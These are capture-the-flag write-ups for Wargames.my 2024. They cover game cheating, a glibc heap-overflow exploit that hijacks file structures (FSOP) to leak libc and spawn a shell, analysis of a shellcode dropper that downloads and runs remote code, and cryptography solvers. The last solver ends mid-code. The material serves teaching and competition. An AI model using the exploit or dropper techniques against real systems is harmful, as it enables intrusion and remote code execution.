# wargames.my 2024 Writeups
Collection of writeups from NUS Greyhats
## Game
Game 1, 2 and 3 features the identical RPG Maker Game but built for different platforms _(exe, APK and web)_.
For all three games, the flags are split into 5 parts and stored in the following locations
1. Flag 1 is an item that's dropped after defeating level 1.
2. Flag 2 is an item that's dropped after defeating level 2.
3. Flag 3 can be found in a chest after defeating level 3.
4. Flag 4 is ingrained into the map after defeating level 4.
5. Flag 5 is an item that's obtained after level 5? _(i'm not sure but that's not relevant)_
### Game 1
I used https://www.save-editor.com/tools/rpg_tkool_mz_save.html to modify my rmmzsave file that is generated after playing the game and saving your progress to one of the save slots.
I modified my save file to set the following attributes:
- \_items = `{'33':1, '34':1, '35':1, '36':1, '37':1}`
- adds Flag 1, 2, 5 to your inventory
- \_buffs = `[100,100,100,100,100,100,100,100]`
- increase our stats exponentially to one-shot enemies
- \_buffTurns= `[100,100,100,100,100,100,100,100]`
- ensure that our buffs last long enough
### Game 3
This was the same game but on a web browser. This made it significantly easier since we were able to directly modify/patch the javascript as the game was running.
We can set two breakpoints in the javascript code to help us easily obtain the different part of the flag and clear the enemies.
```js
Game_Party.prototype.initAllItems = function() {
this._items = {};
this._weapons = {}; // set a breakpoint at this line. go to javascript console and run
// this._items = {'33':1, '34':1, '35':1, '36':1, '37':1}
this._armors = {};
};
Game_BattlerBase.prototype.setHp = function(hp) {
this._hp = hp;
this.refresh(); // set a breakpoint at this line. you can modify this._hp to zero to instantly kill an enemy.
};
```
With these two hacks, we can easily obtain the flag in the same way as Game 1.
### Game 2
This is the same game but compiled for an APK. If we use 7zip to extract the contents of a zip, we will find the game in `assets/www`.
We can host the game by running `python -m http.server 8080` in the `assets/www` folder, which would give us the exact same challenge as Game 3.
The solution hereinafter is identical to that of Game 3.
## Pwn
### Screenwriter
We are given the program code as follows
```c
void main(){
init();
char* name = malloc(0x28); // our input buffer is allocated to the heap
FILE *ref_script = fopen("bee-movie.txt","r");
FILE *own_script = fopen("script.txt","w");
puts("Welcome to our latest screenwriting program!");
while (true){
int choice = 0;
menu();
switch (get_choice()) {
case 1:
printf("What's your name: ");
read(0,name,0x280); // heap buffer overflow here
break;
case 2:
char own_buf[0x101] = "";
printf("Your masterpiece: ");
read(0,own_buf,0x100);
fwrite(own_buf,1,0x100,own_script);
break;
case 3:
char ref_buf[0x11] = "";
memset(ref_buf,0,0x11);
fread(ref_buf,1,0x10,ref_script);
puts("From the reference:");
puts(ref_buf);
break;
default:
printf("Goodbye %s",name);
exit(0);
}
}
}
```
We can notice a few things from the code above
1. There is an obvious buffer overflow on our input on the heap.
2. After our input is allocated on the heap, two files are opened with `fopen`.
- Files that are opened with `fopen` are backed with an `_IO_FILE` struct that is allocated on the heap.
- We are able to `fread` and `fwrite` to/from the opened files.
3. Our buffer overflow on our input will then overflow into the `_IO_FILE` struct on the heap. Any experienced pwner would identify that this is a FSOP attack.
Let's look at the fields in the `_IO_FILE` struct
```c
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
// truncated for brevity ...
};
```
> In order to read the contents of a file, we will need to invoke syscalls which is inefficient.
> Instead, when `fread` is called for the first time, we first read the entire file content onto the heap.
> Afterwards, we set our **IO pointers to the allocated file content** and return the requested buffer from the heap.
Most importantly, the idea is that upon calling `fread`, it will return you the buffer between `_IO_read_ptr` and `_IO_read_end`. Thus by overwriting those two pointers, we can gain an arbitrary read to any known address.
```py
from pwn import *
elf = context.binary = ELF("chall")
libc = elf.libc
if args.REMOTE:
p = remote("43.217.80.203",34668)
else:
p = elf.process()
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(a)
def set_name(buf):
sla(b"Choice: ", b"1")
sla(b"name: ", buf)
def write(buf):
sla(b"Choice: ", b"2")
sla(b"masterpiece: ", buf)
def read():
sla(b"Choice: ", b"3")
ru(b"reference:\n")
# arbitrary read is as simple as this
def get_arb_read(addr, sz=8):
payload = b"A"*0x28 + p64(0x1e1)
payload += p64(0xfbad2488) # flags
payload += p64(addr) # read_ptr
payload += p64(addr+sz) # read_end
payload += p64(addr) # read_base
set_name(payload)
read()
return unpack(p.recvline()[:-1], 'all')
# we leak puts address from the Global Offset Table to get libc base
libc.address = get_arb_read(0x403f88) - libc.sym.puts
log.info(f"libc base @ {hex(libc.address)}")
p.interactive()
```
_(i don't remember which exact pointers are necessary to get arbitrary write but we can just write to all of the above. you may read the glibc source code for more information)_
Similarly, we can overwrite `_IO_write_base`, `_IO_write_ptr`, `_IO_write_end`, `_IO_buf_base` and `_IO_buf_end` to gain an arbitrary write for `fwrite`.
In order to pop a shell from an arbitrary write, the easiest target for glibc 2.35 would be to overwrite `_IO_2_1_stdout` with a one shot payload.
```py
# overwrite _IO_FILE to write to _IO_2_1_stdout
payload = b"A"*0x208 + p64(0x1e1)
payload += p64(0xfbad2c84) # flags
payload += p64(0) * 3 # read_ptr, read_end, read_base
payload += p64(libc.sym._IO_2_1_stdout_) # write_base
payload += p64(libc.sym._IO_2_1_stdout_) # write_ptr
payload += p64(libc.sym._IO_2_1_stdout_+0x100) # write_end
payload += p64(libc.sym._IO_2_1_stdout_) # buf_base
payload += p64(libc.sym._IO_2_1_stdout_+0x100) # buf_end
set_name(payload)
# copypasta one shot /bin/sh payload to overwrite _IO_2_1_stdout
standard_FILE_addr = libc.sym._IO_2_1_stdout_
fs = FileStructure()
fs.flags = unpack(b" " + b"sh".ljust(6, b"\x00"), 64) # " sh"
fs._IO_write_base = 0
fs._IO_write_ptr = 1
fs._lock = standard_FILE_addr-0x10
fs.chain = libc.sym.system
fs._codecvt = standard_FILE_addr
fs._wide_data = standard_FILE_addr - 0x48
fs.vtable = libc.sym._IO_wfile_jumps
write(bytes(fs))
p.interactive()
```
And we get our shell.
## Rev
### Drivers
**Stage 1**
After obtaining the shellcode, we can convert it to an exe with https://github.com/repnz/shellcode2exe for ease of analysis with IDA/Ghidra.
We can use a debugger to step through the functions to understand the functionalities.
In order to make our life easier, we can define the dynamically resolved APIs in a struct as follows
```c
struct api_struct
{
void *gdiplus_GdiplusStartup;
void *gdiplus_GdipCreateBitmapFromFile;
void *gdiplus_GdipGetImageWidth;
void *gdiplus_GdipGetImageHeight;
void *gdiplus_GdipDisposeImage;
void *gdiplus_GdipBitmapLockBits;
void *gdiplus_GdipBitmapUnlockBits;
void *gdiplus_GdiplusShutdown;
void *wininet_InternetOpenA;
void *wininet_InternetOpenUrlA;
void *wininet_InternetReadFile;
void *wininet_InternetCloseHandle;
void *kernel32_LoadLibraryA;
void *kernel32_CreateFileA;
void *kernel32_WriteFile;
void *kernel32_CloseHandle;
void *kernel32_DeleteFileA;
void *kernel32_GetProcessHeap;
void *ntdll_RtlAllocateHeap;
void *kernel32_GlobalAlloc;
void *kernel32_lstrcat;
void *kernel32_ExitProcess;
void *kernel32_MultiByteToWideChar;
void *kernel32_VirtualAlloc;
void *kernel32_VirtualProtect;
void *kernel32_lstrcmpi;
void *kernel32_Process32First;
void *kernel32_Process32Next;
void *kernel32_CreateToolhelp32Snapshot;
void *kernel32_CheckRemoteDebuggerPresent;
void *kernel32_GetCurrentProcess;
void *kernel32_GetCurrentThread;
void *kernel32_GetThreadContext;
void *user32_MessageBoxA;
void *advapi32_RegOpenKeyExA;
void *advapi32_RegQueryValueExA;
void *advapi32_RegCloseKey;
char unused[24];
};
```
After applying the struct and doing more dynamic analysis, we get code as follows
```c
memset(&api_struct, 0, sizeof(api_struct));
sub_406778((__int64)v13, 0LL, 0, 0); // set some nulls
// we can get all the dynamically resolved API by setting a breakpoint after this
if ( (unsigned int)dynamically_resolve_apis(&api_struct) )
return 0xFFFFFFFFLL;
sc_len = 0;
p_api_struct = &api_struct;
p_api_struct_ = copy_value(&api_struct_, &p_api_struct);
github_link = decrypt_github_link(p_api_struct_);
// we do not need to understand the shellcode extracting logic
// we simply can set a breakpoint right before shellcode is extracted to dump it out
shellcode = extract_shellcode(&api_struct, github_link, &sc_len);
if ( !shellcode )
{
kernel32_ExitProcess = p_api_struct->kernel32_ExitProcess;
kernel32_ExitProcess(0xFFFFFFFFLL);
}
kernel32_VirtualAlloc = api_struct.kernel32_VirtualAlloc;
rwx_mem = api_struct.kernel32_VirtualAlloc(0, sc_len, 12288, 4);
qmemcpy(rwx_mem, shellcode, sc_len);
kernel32_VirtualProtect = api_struct.kernel32_VirtualProtect;
api_struct.kernel32_VirtualProtect(rwx_mem, sc_len, 32LL, v6);
((void (*)(void))rwx_mem)();
```
_code is cleaned up with comments_
We can dump out the extracted shellcode by setting a breakpoint on `qmemcpy` and dumpin gout `sc_len` of bytes from `shellcode`.
**Stage 2**
The API struct used is identical to Stage 1.
```c
memset(&api, 0, sizeof(api));
sub_4032F8(v31, 0LL, 0, 0); // ignore: set some nulls
if ( dynamically_resolve_apis(&api) ) // api struct is same as before
return 0xFFFFFFFFLL;
p_api = &api;
// decrypt "ProgramFilesDir"
v1 = sub_40151E(&v25, &p_api);
str_ProgramFilesDir = decrypt_str_ProgramFilesDir(v1);
programfilesdir_value = get_registry_value(&api, str_ProgramFilesDir);
// decrypt "ProgramFilezDir"
v2 = sub_4013DA(&v26, &p_api);
str_ProgramFilezDir = decrypt_str_ProgramFilezDir(v2);
programfilezdir_value = get_registry_value(&api, str_ProgramFilezDir);
v8 = 0LL;
// check_flag function validates the value of registry keys
if ( check_flag(&api, programfilesdir_value, programfilezdir_value, &v8) )
{
v3 = sub_4012B9(&v27, &p_api);
str_CORRECT = sub_4012D9(v3);
v4 = sub_4011A7(&v28, &p_api);
str_wgmy = sub_4011C7(v4);
v5 = sub_4010A9(&v29, &p_api);
str_close_braces = sub_4010C9(v5);
kernel32_GlobalAlloc = api.kernel32_GlobalAlloc;
v6 = (api.kernel32_GlobalAlloc)(0LL, 1000LL);
memset(v6, 0, 0x3E8uLL);
kernel32_lstrcat = api.kernel32_lstrcat;
(api.kernel32_lstrcat)(v6, str_CORRECT);
v16 = api.kernel32_lstrcat;
(api.kernel32_lstrcat)(v6, space);
v18 = api.kernel32_lstrcat;
(api.kernel32_lstrcat)(v6, str_wgmy);
v19 = api.kernel32_lstrcat;
(api.kernel32_lstrcat)(v6, v8);
v21 = api.kernel32_lstrcat;
(api.kernel32_lstrcat)(v6, str_close_braces);
user32_MessageBoxA = api.user32_MessageBoxA;
(api.user32_MessageBoxA)(0LL, v6, str_CORRECT, 0LL); // print flag
}
else
{
kernel32_ExitProcess = api.kernel32_ExitProcess;
(api.kernel32_ExitProcess)(0xFFFFFFFFLL);
}
```
From the above cleaned code, the program reads the following registry keys
`Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir` which has the value `C:\Program Files` by default.
`Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilezDir` which contains an unknown value.
The check_flag function is as follows
```c
bool check_flag(api_struct *api_struct, char *programfiles_dir, _BYTE *programfilez_dir, _QWORD *a4)
{
_BYTE *flag;
if ( !programfiles_dir || !programfilez_dir )
return 0;
flag = (api_struct->kernel32_GlobalAlloc)(0LL, 33LL);
memset(flag, 0, 0x21uLL);
flag[24] = transform(*programfiles_dir);
flag[10] = transform(programfiles_dir[1]);
flag[30] = transform(programfiles_dir[2]);
flag[9] = transform(programfiles_dir[3]);
flag[1] = transform(programfiles_dir[4]);
flag[17] = transform(programfiles_dir[5]);
flag[23] = transform(programfiles_dir[6]);
flag[25] = transform(programfiles_dir[7]);
flag[5] = transform(programfiles_dir[8]);
flag[20] = transform(programfiles_dir[9]);
flag[14] = transform(programfiles_dir[10]);
flag[8] = transform(programfiles_dir[11]);
flag[31] = transform(programfiles_dir[12]);
flag[6] = transform(programfiles_dir[13]);
*flag = transform(programfiles_dir[14]);
flag[3] = transform(programfiles_dir[15]);
flag[21] = programfilez_dir[21];
flag[4] = programfilez_dir[4];
flag[19] = transform(programfiles_dir[3]);
flag[2] = programfilez_dir[2];
flag[22] = programfilez_dir[22];
flag[29] = programfilez_dir[29];
flag[11] = programfilez_dir[11];
flag[13] = programfilez_dir[13];
flag[27] = programfilez_dir[27];
flag[12] = programfilez_dir[12];
flag[7] = programfilez_dir[7];
flag[15] = programfilez_dir[15];
flag[28] = programfilez_dir[28];
flag[18] = programfilez_dir[18];
flag[26] = programfilez_dir[26];
flag[16] = programfilez_dir[16];
*a4 = flag;
return fnv1a_hash(flag) == 0x3B1F48B6 && fnv1a_hash(flag + 16) == 0x7C8DB53D;
}
__int64 transform(char a1)
{
unsigned __int8 v2;
v2 = a1 & 0xF;
if ( (a1 & 0xFu) >= 0xA )
return v2 + 87;
else
return v2 + 48;
}
```
It takes a bunch of characters from `programfiles_dir` and `programfilez_dir` and hashes it to check the value.
We can abstract the code logic into python
```py
def transform(i):
x = i & 0xf
if x >= 0xa:
return x + 87
else:
return x + 48
def fnv1a_32(data: bytes) -> int:
offset_basis = 0x811C9DC5
fnv_prime = 0x1000193
hash_val = offset_basis
for byte in data:
hash_val ^= byte
hash_val = (hash_val * fnv_prime) & 0xFFFFFFFF
return hash_val
programfiles_dir = bytes([transform(i) for i in r"C:\Program Files".encode()])
flag = bytearray(32)
flag[0] = programfiles_dir[14]
flag[1] = programfiles_dir[4]
# flag[2] = programfilez_dir[2]
flag[3] = programfiles_dir[15]
# flag[4] = programfilez_dir[4]
flag[5] = programfiles_dir[8]
flag[6] = programfiles_dir[13]
# flag[7] = programfilez_dir[7]
flag[8] = programfiles_dir[11]
flag[9] = programfiles_dir[3]
flag[10] = programfiles_dir[1]
# flag[11] = programfilez_dir[11]
# flag[12] = programfilez_dir[12]
# flag[13] = programfilez_dir[13]
flag[14] = programfiles_dir[10]
# flag[15] = programfilez_dir[15]
# flag[16] = programfilez_dir[16]
flag[17] = programfiles_dir[5]
# flag[18] = programfilez_dir[18]
flag[19] = programfiles_dir[3]
flag[20] = programfiles_dir[9]
# flag[21] = programfilez_dir[21]
# flag[22] = programfilez_dir[22]
flag[23] = programfiles_dir[6]
flag[24] = programfiles_dir[0]
flag[25] = programfiles_dir[7]
# flag[26] = programfilez_dir[26]
# flag[27] = programfilez_dir[27]
# flag[28] = programfilez_dir[28]
# flag[29] = programfilez_dir[29]
flag[30] = programfiles_dir[2]
flag[31] = programfiles_dir[12]
print(flag, hex(fnv1a_32(flag)))
print(flag[16:], hex(fnv1a_32(flag[16:])))
# output:
"""
bytearray(b'52\x003\x001c\x0060a\x00\x00\x000\x00\x00f\x000d\x00\x00732\x00\x00\x00\x00c9') 0x3abf8f32
bytearray(b'\x00f\x000d\x00\x00732\x00\x00\x00\x00c9') 0x542d5f57
"""
```
As you can tell, our input are hexadecimal characters [0-9a-f]. The program checks the hash of the last 16 bytes and the entire 32 bytes of the flag.
In the last 16 bytes of the flag, we have 8 unknown characters. Assuming that the 8 unknown characters are hexadecimal characters, we will have `16**8` possible values.
After recovering the last 16 bytes, there is only 7 unknown characters in the first 16 bytes which is even more trivial to brute force `16**7`.
Finally, we can ask ChatGPT to write us some C++ code to brute force the possibilities.
```cpp
#include <iostream>
#include <cstdint>
#include <array>
#include <vector>
#include <string>
#include <cstdio>
#include <chrono>
inline uint32_t fnv1a_32(const uint8_t *data, size_t len)
{
static const uint32_t FNV_OFFSET_BASIS = 0x811C9DC5u;
static const uint32_t FNV_PRIME = 0x1000193u;
uint32_t hash = FNV_OFFSET_BASIS;
for (size_t i = 0; i < len; i++) {
hash ^= data[i];
hash *= FNV_PRIME;
}
return hash;
}
int main()
{
const uint32_t TARGET_HASH = 0x7C8DB53D;
std::array<char, 16> plaintext = {
'x', 'f', 'x', '0', // known
'd', 'x', 'x', '7', // unknown
'3', '2', 'x', 'x', // unknown
'x', 'x', 'c', '9' // known
};
auto nibbleToHex = [](uint8_t x) -> char {
return (x < 10) ? (char)('0' + x) : (char)('a' + (x - 10));
};
const char hexDigits[16] = {
'0','1','2','3','4','5','6','7',
'8','9','a','b','c','d','e','f'
};
std::vector<int> unknownPositions = {0,2,5,6,10,11,12,13};
auto startTime = std::chrono::steady_clock::now();
const uint64_t totalCombos = 1ULL << (4 * unknownPositions.size()); // 16^8
uint64_t counter = 0;
bool found = false;
for (uint64_t combo = 0; combo < totalCombos; combo++) {
uint64_t temp = combo;
for (size_t i = 0; i < unknownPositions.size(); i++) {
uint8_t nibble = temp & 0xF;
temp >>= 4;
plaintext[ unknownPositions[i] ] = hexDigits[nibble];
}
uint32_t h = fnv1a_32(
reinterpret_cast<const uint8_t*>(plaintext.data()),
plaintext.size()
);
if (h == TARGET_HASH) {
found = true;
std::string recovered(plaintext.begin(), plaintext.end());
std::cout << "[+] Found match! Plaintext = " << recovered
<< " -> 0x" << std::hex << h << std::dec << "\n";
}
if ((combo % 100000000ULL) == 0) {
std::cout << combo << " / " << totalCombos << " tried...\n";
}
}
auto endTime = std::chrono::steady_clock::now();
double seconds = std::chrono::duration_cast<std::chrono::seconds>(
endTime - startTime
).count();
if (!found) {
std::cout << "[-] No match found in " << totalCombos << " tries.\n";
}
std::cout << "Completed in " << seconds << " seconds.\n";
return 0;
}
```
```
❯ g++ -O3 test.cpp
❯ time ./a.out
0 / 4294967296 tried...
100000000 / 4294967296 tried...
200000000 / 4294967296 tried...
300000000 / 4294967296 tried...
400000000 / 4294967296 tried...
500000000 / 4294967296 tried...
600000000 / 4294967296 tried...
700000000 / 4294967296 tried...
800000000 / 4294967296 tried...
900000000 / 4294967296 tried...
1000000000 / 4294967296 tried...
1100000000 / 4294967296 tried...
1200000000 / 4294967296 tried...
[+] Found match! Plaintext = bf60d2f732c384c9 -> 0x7c8db53d
[+] Found match! Plaintext = 1f60d7f7322884c9 -> 0x7c8db53d
1300000000 / 4294967296 tried...
^C
real 0m11.617s
user 0m11.610sasd
sys 0m0.007s
```
Now do the same for the first 16 bytes of the flag. Wrap it in `wgmy{}` and submit it!
### Stones
https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/stones-rev
### Sudoku
Observe that the binary is a Pyinstaller compiled executable.Use [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) to extract `sudoku.pyc` out, and use [pylingual](https://pylingual.io/) to decompile the pyc file.
```python
import random
alphabet = 'abcdelmnopqrstuvwxyz1234567890.'
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}'
def makeKey(alphabet):
alphabet = list(alphabet)
random.shuffle(alphabet)
return ''.join(alphabet)
key = makeKey(alphabet)
def encrypt(plaintext, key, alphabet):
keyMap = dict(zip(alphabet, key))
return ''.join((keyMap.get(c.lower(), c) for c in plaintext))
enc = encrypt(plaintext, key, alphabet)
```
Write a reverse script to reveal the solution.
```python
with open("out.enc", "r") as f:
enc = f.read()
alphabet = "abcdelmnopqrstuvwxyz1234567890."
plaintext = "0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}"
mapping = {}
for index, char in enumerate(plaintext[:-16]):
mapping[enc[index]] = char
print("".join(mapping.get(char, char) for char in enc[-38:]))
```
This reveals most of the flag: `w.my{2ba914045b56c5e58..1b4a593b05746}`
Observe that the flag format should be `wgmy`, and the "." in the MD5 portion of the flag has to be the letter "f" (as it has to be a valid MD5 hash).
Flag: `wgmy{2ba914045b56c5e58ff1b4a593b05746}`
## Post Quantum Cryptography
### Curve
```py
import sys
from hashlib import sha512
from pwn import *
def xor(a, b):
return bytes(x^^y for x, y in zip(a, b))
proc=remote("43.217.80.203", 34838)
proc.readuntil("p = ")
p = ZZ(proc.readline())
proc.readuntil("F.modulus() = ")
T.<x> = GF(p)[]
line = proc.readline()
F = GF(p^4, name="x", modulus=eval(preparse(line.decode())))
proc.readuntil("E.j_invariant() = ")
line = proc.readline()
j_invariant = F(eval(line))
proc.readuntil("P.xy() = ")
line = proc.readline()
z = F.0
P_0, P_1 = eval(preparse(line.decode()))
# We need to solve for (a, b) in GF(p) such that E : y^2 = x^3 + a*x + b
# matches the j_invariant and P lies on E.
R.<aa, bb> = F[]
# We create an ideal with two conditions:
# - (P_1)^2 = (P_0)^3 + a*P_0 + b
# - The derived j-invariant from (a,b) matches the printed j_invariant
# Then we solve this ideal in F(p^4). We only keep solutions where a,b are in GF(p).
solutions = R.ideal((
P_1^2 - (P_0^3 + aa*P_0 + bb),
(4*aa)^3 - j_invariant / (-1728) * (F(-16) * (4*aa^3 + 27*bb^2)),
)).variety()
# Filter out solutions where aa, bb are not in GF(p)
solutions=[d for d in solutions if all(x in GF(p) for x in d.values())]
assert len(solutions)==1
# Extract the single solution (a, b) in GF(p)
a, b = solutions[0][aa], solutions[0][bb]
# Reconstruct the elliptic curve E over GF(p^4)
E = EllipticCurve(F, [a, b])
assert E.j_invariant() == j_invariant
# Reconstruct the point P on E
P = E(P_0, P_1)
assert p == E.base_field().order().perfect_power()[0]
##############################################################################
# We need to craft a point Q and integer k such that repeating the
# "Frobenius + scalar-mul" 10 times plus adding p*E.lift_x(Qx) yields P.
#############################################################################
while True:
# Factor the group order of the curve (E.order() is the number of points).
factorization = E.order().factor()
# We try up to 1e9 attempts (though hopefully it hits success much sooner).
for i in range(1000000000):
print(i) # Print iteration (just for logging in case it takes a while)
# 1. Randomly pick a candidate k (the secret scalar).
k = random.randint(1, 10**9)
# 2. Attempt to build an invertible polynomial factor for each prime-power in factorization.
try:
l = []
for p1, e in factorization:
# Switch to p-adic or modular polynomials for prime-power p1^e
S.<x> = Qp(p1, prec=e*4)[]
# We want to invert ( (x+k)^10 + p ) mod (x^4 - 1 ).
# xgcd(...) tries to compute gcd and the inverse factor.
tmp = xgcd(((x+k)^10 + p) % (x^4 - 1), x^4 - 1)
# tmp[1] is the Bezout coefficient (the "inverse" if gcd=1)
f = tmp[1].change_ring(Zmod(p1^e))
# Double check that indeed f * ((x+k)^10 + p) ≡ 1 mod (x^4 - 1)
S.<x> = Zmod(p1^e)[]
assert ((x+k)^10 + p) * f % (x^4 - 1) == 1
# Store f for building up a full solution via CRT later.
l.append(f)
# If we manually interrupt or if there's an alarm, just break.
except (KeyboardInterrupt, signal.ItimerError):
break
# On any other error (like not invertible, gcd!=1, etc.), skip and try next k
except:
traceback.print_exc()
continue
# If we succeeded in building all partial factors, break out of i-loop
# (we have a valid set of "inverses" for each prime-power factor).
break
# Now combine those partial solutions l[] via CRT to get a single polynomial f
S.<x> = Zmod(E.order())[]
l = [S(f) for f in l]
# Build the polynomial f in Zmod(E.order())[x] using the Chinese Remainder Theorem
f = sum(a*b for a,b in zip(l, CRT_basis([p1^e for p1,e in factorization])))
# Final check that f really is the inverse of ((x+k)^10 + p) mod (x^4 - 1)
assert (((x+k)^10 + p) * f) % (x^4 - 1) == 1
# Extract the polynomial's coefficients as "coefficients"
coefficients = [*f]
# 3. Construct Q as a linear combination of P, P^p, P^(p^2), P^(p^3).
# (Frobenius is x-> x^p in GF(p^4).)
before_frob = [P]
while len(before_frob) < 4:
before_frob.append(E(before_frob[-1][0]^p, before_frob[-1][1]^p))
# Q = sum(coeff_i * before_frob[i])
Q = sum(a*b for a,b in zip(coefficients, before_frob))
# Qx is the x-coordinate of Q
Qx = Q[0]
# We need Q to be the E.lift_x(Qx) (meaning Q is the "correct sign" of the point).
# If it doesn't match, we skip and retry.
if Q != E.lift_x(Qx):
continue
# If it matches, we found a suitable Q (and corresponding k).
break
# 4. Double-check that applying the challenge's transformations to Q does indeed yield P.
Q_backup = Q
for _ in range(10):
# Tx, Ty = Q^p (Frobenius)
Tx, Ty = Q.x()^p, Q.y()^p
# Hx, Hy = (k*Q).xy()
Hx, Hy = (k * Q).xy()
# Q = (Tx, Ty) + (Hx, Hy)
Q = E(Tx, Ty) + E(Hx, Hy)
# Finally, add p*E.lift_x(Qx)
Q = Q + p * E.lift_x(Qx)
# Confirm that this final Q is indeed P.
assert Q == P
# Restore Q to the original (useful if needed again)
Q = Q_backup
proc.readuntil("Qx:")
proc.write(' '.join(str(x) for x in Qx) + '\n')
proc.readuntil("k:")
proc.write(f'{k}\n')
proc.interactive()
# FLAG 5896f659908b313e5013a4cddf57b4405a5c729b7c53f7f77d2dd03fcd74c97360bc5eac34a8
flag = xor(
bytes.fromhex('5896f659908b313e5013a4cddf57b4405a5c729b7c53f7f77d2dd03fcd74c97360bc5eac34a8'),
sha512((str(a) + str(b)).encode()).digest()
)
print(flag)
```
### LWE
```python
import os
import random
import numpy as np
import signal
def change_support(support):
while (t := random.randint(0, n - 1)) in support: pass
support[random.randint(0, k - 1)] = t
return support
n = 500; p = 3691; k = 10; m = 20 * n
seed = os.urandom(16)
random.seed(seed)
A = np.zeros((n, m), dtype=int)
support = random.sample(range(n), k)
columns = list(range(m))
random.shuffle(columns)
for i in columns:
if (random.randint(0, 2) == 0):
support = change_support(support)
A[support, i] = [random.randint(0, p - 1) for _ in range(k)]
secure_random = random.SystemRandom()
s = np.array([secure_random.randint(0, p - 1) for _ in range(n)])
e = np.round(np.random.normal(0, 1, size=m)).astype(int)
b = (s @ A + e) % p
import random
import numpy as np
n = 500; p = 3691; k = 10; m = 20 * n
def change_support(support):
while (t := random.randint(0, n - 1)) in support: pass
support[random.randint(0, k - 1)] = t
return support
random.seed(seed)
A = np.zeros((n, m), dtype=int)
support = random.sample(range(n), k)
columns = list(range(m))
random.shuffle(columns)
for i in columns:
if (random.randint(0, 2) == 0):
support = change_support(support)
A[support, i] = [random.randint(0, p - 1) for _ in range(k)]
from sage.matrix.matrix_mod2_dense cimport Matrix_mod2_dense
from sage.matrix.matrix_modn_dense_double cimport Matrix_modn_dense_double
cimport numpy as np
cpdef copy_from_numpy(Matrix_mod2_dense A, np.ndarray[np.int8_t, ndim=2] B):
assert A.nrows() == B.shape[0]
assert A.ncols() == B.shape[1]
for i in range(B.shape[0]):
for j in range(B.shape[1]):
A.set_unsafe(i, j, B[i, j])
cpdef copy_from_numpy_2(Matrix_modn_dense_double A, np.ndarray[np.int64_t, ndim=2] B):
assert A.nrows() == B.shape[0]
assert A.ncols() == B.shape[1]
for i in range(B.shape[0]):
for j in range(B.shape[1]):
A.set_unsafe_int(i, j, B[i, j])
def flatter(M):
if M.nrows() > M.ncols():
M = M.LLL(delta=0.75)
from subprocess import check_output
from re import findall
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter", "-rhf", "1.03"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(ZZ, findall(b"-?\\d+", ret)))
def closest_vector(A, w):
global B
c = sum([abs(a) for row in A for a in row]) + 1
B = matrix.block([
[A, matrix.zero(A.nrows(), 1)],
[matrix(w), c],
])
B = B.LLL()
first_nonzero_row = np.nonzero(np.any(np.array(B), axis=1))[0][0]
B = B[first_nonzero_row:]
assert B[:-1, -1]==0
row=B[-1]
B=B[:-1,:-1]
assert row[-1] != 0
if row[-1] == c:
return B, w - vector(row[:-1])
else:
assert row[-1] == -c
return B, w - vector(-row[:-1])
def solve(A, AS, b, s, e, columns, path, hint):
if AS.nrows() == 0:
return np.array([])
print(AS.nrows(), AS.ncols())
assert AS.nrows() == AS.rank()
def try_reduce(num_columns, i):
nonlocal A, AS, b, s, e, columns
ss = None
if s is not None:
ss = vector(GF(p), s)
columns_slice = slice(i-num_columns, i)
row_slice = np.nonzero(np.sum(np.abs(np.array(AS[:, columns[columns_slice]], dtype=int)), axis=1))[0]
if s is not None:
assert ss * AS[:, columns[columns_slice]] == vector(GF(p), (b-e)[columns[columns_slice]])
assert vector(s[row_slice]) * AS[[*row_slice], columns[columns_slice]] == vector(GF(p), (b-e)[columns[columns_slice]])
B, v1 = closest_vector(
matrix.block(ZZ, [
[matrix.identity(num_columns)*p],
[AS[[*row_slice], columns[columns_slice]]]
]),
vector(ZZ, b[columns[columns_slice]])
)
okay = np.ones(B.ncols(), dtype=int)
for row in B.rows():
if np.linalg.norm(row) < 20:
okay &= ~np.array(row)
else: break
okay=okay.astype(bool)
if e is not None:
v2 = (b-e)[columns[columns_slice]]
assert (v1 == v2)[okay].all()
good_columns=[*np.array(columns[columns_slice])[okay]]
sr = [None]*AS.nrows()
if s is not None:
assert vector(s[row_slice]) * AS[[*row_slice], good_columns] == vector(np.array(v1)[okay])
row_slice = row_slice[~np.any(np.array(AS[[*row_slice], good_columns].left_kernel_matrix(), dtype=int), axis=0)]
for j, sj in zip(row_slice, AS[[*row_slice], good_columns].solve_left(vector(np.array(v1)[okay]))):
if sr[j] is not None:
assert sr[j] == sj
sr[j] = sj
if s is not None:
assert sr[j] == s[j]
remaining_row_slice = np.nonzero(np.array(sr) == None)[0]
s1=None
if s is not None:
s1 = s[remaining_row_slice]
remaining_column_slice = np.any(A[remaining_row_slice]!=0, axis=0)
AS1 = AS[[*remaining_row_slice],[*np.nonzero(remaining_column_slice)[0]]]
A1 = A[remaining_row_slice,:][:,remaining_column_slice]
b1 = (b - vector(GF(p),np.array(sr)[row_slice]) * AS[[*row_slice],:])[remaining_column_slice]
e1 = None
if e is not None:
e1 = e[remaining_column_slice]
assert vector(GF(p),s1)*AS1 == vector(GF(p),b1-e1)
assert vector(GF(p),s)*AS == vector(GF(p),b-e)
return sr, A1, AS1, b1, s1, e1, remaining_column_slice
def candidates_for(num_columns):
nonlocal AS
return sorted((AS[:, columns[i-num_columns:i]].rank(), i) for i in range(num_columns, AS.ncols()+1))[:50]
